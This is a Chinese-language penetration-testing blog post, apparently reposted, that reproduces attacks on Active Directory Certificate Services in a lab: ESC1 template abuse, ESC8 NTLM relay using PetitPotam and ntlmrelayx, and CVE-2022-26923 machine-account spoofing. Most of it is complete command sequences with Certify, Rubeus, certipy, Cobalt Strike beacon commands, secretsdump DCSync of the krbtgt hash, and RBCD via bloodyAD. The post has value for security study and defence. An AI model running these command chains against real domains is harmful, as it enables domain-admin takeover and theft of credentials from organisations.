ADCS攻击笔记

技术

前言

本篇文章主要是对《Certified Pre-Owned: Abusing Active Directory Certificate Services》(链接文章末尾)中提到ESC1&ESC8和最新的ADCS漏洞CVE-2022–26923的复现。

Author: 0ne

环境介绍

DC2012 191.168.149.133 Windows Server 2012 R2-域控
ADCS 192.168.149.135 Windows Server 2012 R2-AD证书服务器
WIN10 192.168.149.134 Windows 10-模拟办公网个人PC
kali 192.168.149.129 kali攻击机

信息枚举

域内

是否存在域和ADCS,并且获取CA和对应IP.


      
  `net config workstation  
nslookup -type=srv _ldap._tcp.dc._msdcs.FQDN  
certutil -CA  
nslookup DNSName`
 


    

picture.image

picture.image

picture.image

picture.image

不要使用 certutil -config - -ping ,在beacon里操作主机会弹窗,而且需要点击后才会有回显:

picture.image

域外

判断是否存在域,通常域控的NetBIOS名称有关键字例如DC字样,fscan也能直接识别,域控也会通常开启53&88&389&636端口。

picture.image

picture.image

通过各种方法我们已经获得了一个域账号,查看是否有ADCS服务:


      
  `certipy find -u zhangsan@red.lab -p zs@123456 -dc-ip 192.168.149.133 -dc-only -stdout`
 


    

picture.image

域外获取ADCSIP,使用ADExplorer连接DC的ldap:

picture.image

当然ADCS存在页面http[:]//IP/certsrv/Default.asp,fscan能直接识别:

picture.image

ESC1

漏洞配置

ESC1利用前提条件:

  • msPKI-Certificates-Name-Flag: ENROLLEE_SUPPLIES_SUBJECT
    表示基于此证书模板申请新证书的用户可以为其他用户申请证书,即任何用户,包括域管理员用户
  • PkiExtendedKeyUsage: Client Authentication
    表示将基于此证书模板生成的证书可用于对 Active Directory 中的计算机进行身份验证
  • Enrollment Rights: NT Authority\Authenticated Users
    表示允许 Active Directory 中任何经过身份验证的用户请求基于此证书模板生成的新证书

创建模板ESC1开启ENROLLEE_SUPPLIES_SUBJECT:

picture.image

将模板用于客户端身份验证(Client Authentication):

picture.image

设置权限允许普通用户注册(Authenticated Users or Domain Users):

picture.image

认证后的用户/域用户随便勾一个就行了

漏洞利用

域内


      
  `execute-assembly \path\Certify.exe find /vulnerable`
 
    

picture.image

发现存在漏洞,为域管请求证书,转换格式,请求TGT,PTT:


      
  `execute-assembly \path\Certify.exe request /ca:【CA Name】 /template:VulnTemplate /altname:domadmin  
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx  
execute-assembly \path\Rubeus.exe asktgt /user:<$adUserToImpersonate> /certificate:cert.pfx /ptt`
 
    

picture.image

picture.image

域外


      
  `certipy find -u zhangsan@red.lab -p zs@123456 -dc-ip 192.168.149.133 -vulnerable -stdout`
 
    

picture.image

发现存在ESC1可利用的模板,为域管请求证书,转换格式,请求TGT,DCSync或者PTT:


      
  `target为ADCSIP  
certipy req -u zhangsan@red.lab -p zs@123456 -target 192.168.149.135 -ca red-ADCS-CA -template ESC1 -upn administrator@red.lab  
certipy auth -pfx administrator.pfx -dc-ip 192.168.149.133  
secretsdump.py red.lab/administrator@192.168.149.133 -just-dc-user red/krbtgt -hashes :nthash`
 
    

picture.image

ESC8

漏洞简介

ADCS在默认安装的时候,其Web接口支持NTLM身份验证并且没有启用任何NTLM Relay保护措施。强制域控制器计算机帐户(DC)向配置了NTLM中继的主机进行身份验证。身份验证被转发给证书颁发机构(CA)并提出对证书的请求。获取到了DC)向配置了NTLM中继的主机进行身份验证。身份验证被转发给证书颁发机构(CA)并提出对证书的请求。获取到了DC的证书后就可以为用户/机器请求TGS/TGT票据,获取相应的权限。

漏洞利用


      
  `certipy find -u zhangsan@red.lab -p zs@123456 -dc-ip 192.168.149.133 -vulnerable -stdout`
 
    

picture.image

域内


      
  `execute-assembly \path\ADCSPwn.exe --adcs ADCS.red.lab --remote DC2012.red.lab`
 
    

picture.image


      
  `execute-assembly \path\Rubeus.exe asktgt /user:DC2012$ /certificate:<base64-certificate> /ptt  
dcsync red.lab red\krbtgt`
 
    

picture.image

picture.image

picture.image

使用ADCSpwn打ESC8需要域控启用 WebClient 服务,默认是没有安装该功能的。

DC安装桌面体验重启即可:

picture.image

picture.image

域外


      
  `PetitPotam.py Relayip DCip`
 
    

让域控强制向我们控制的WIN10发起认证

picture.image


      
  `PortBender redirect 445 8445  
rportfwd_local 8445 127.0.0.1 8445  
ntlmrelayx.py -t http://192.168.149.135/certsrv/certfnsh.asp -smb2support --adcs --template DomainController --smb-port 8445`
 
    

将WIN10的445端口重定向到8445,然后将WIN10-8445端口转发到CS client端的8445端口,实战中还需要通过socks隧道用proxychains将relay的流量打入到目标环境。因为CS client是通目标IP的,就未作模拟。

picture.image

picture.image


      
  `execute-assembly \path\Rubeus.exe asktgt /user:DC2012$ /certificate <base64-certificate> /ptt dcsync red.lab red\krbtgt`
 
    

picture.image

CVE-2022–26923

漏洞简介

该漏洞允许低权限用户在安装了 Active Directory 证书服务 (AD CS) 服务器角色的默认 Active Directory 环境中将权限提升到域管理员。在默认安装的ADCS里就启用了Machine模板。

漏洞利用

添加机器账户,并将该机器账户dnsHostName指向DC[MAQ默认为10]:


      
  `certipy account create -u zhangsan@red.lab -p zs@123456 -dc-ip 192.168.149.133 -user win -pass win@123456 -dns 'DC2012.red.lab'`
 
    

picture.image

用该机器账户向ADCS请求证书:


      
  `certipy req -u 'win$'@red.lab -p win@123456 -target 192.168.149.135 -ca red-ADCS-CA -template Machine`
 
    

picture.image

用申请的证书请求DC$的TGT:


      
  `certipy auth -pfx dc2012.pfx -dc-ip 192.168.149.133`
 
    

picture.image

用DC$的nthash去DCSync:


      
  `secretsdump.py red.lab/'DC2012$'@192.168.149.133 -just-dc-user red/krbtgt -hashes :nthash`
 
    

picture.image

如果使用certipy请求TGT失败,还可以设置RBCD来攻击:


      
  `openssl pkcs12 -in dc2012.pfx -out dc2012.pem -nodespython3 bloodyAD.py -c ':dc2012.pem' -u 'win$' --host 192.168.149.133 setRbcd 'win$' 'DC2012$'getST.py red.lab/'win$':'win@123456' -spn LDAP/DC2012.red.lab -impersonate administrator -dc-ip 192.168.149.133export KRB5CCNAME=administrator.ccachesecretsdump.py -k dc2012.red.lab -just-dc-user red/krbtgt`
 
    

picture.image

picture.image

来源:先知(https://xz.aliyun.com/t/11327)

如有侵权,请联系删除

推荐阅读

实战|记一次奇妙的文件上传getshell

「 超详细 | 分享 」手把手教你如何进行内网渗透

神兵利器 | siusiu-渗透工具管理套件

一款功能全面的XSS扫描器

实战 | 一次利用哥斯拉马绕过宝塔waf

BurpCrypto: 万能网站密码爆破测试工具

快速筛选真实IP并整理为C段 -- 棱眼

自动探测端口顺便爆破工具t14m4t

渗透工具|无状态子域名爆破工具(1秒扫160万个子域)

查看更多精彩内容,还请关注 橘猫学安全:

每日坚持学习与分享,觉得文章对你有帮助可在底部给点个“ 再看

0
0
0
0
关于作者

文章

0

获赞

0

收藏

0

相关资源
CV 技术在视频创作中的应用
本次演讲将介绍在拍摄、编辑等场景,我们如何利用 AI 技术赋能创作者;以及基于这些场景,字节跳动积累的领先技术能力。
相关产品
评论
未登录
看完啦,登录分享一下感受吧~
暂无评论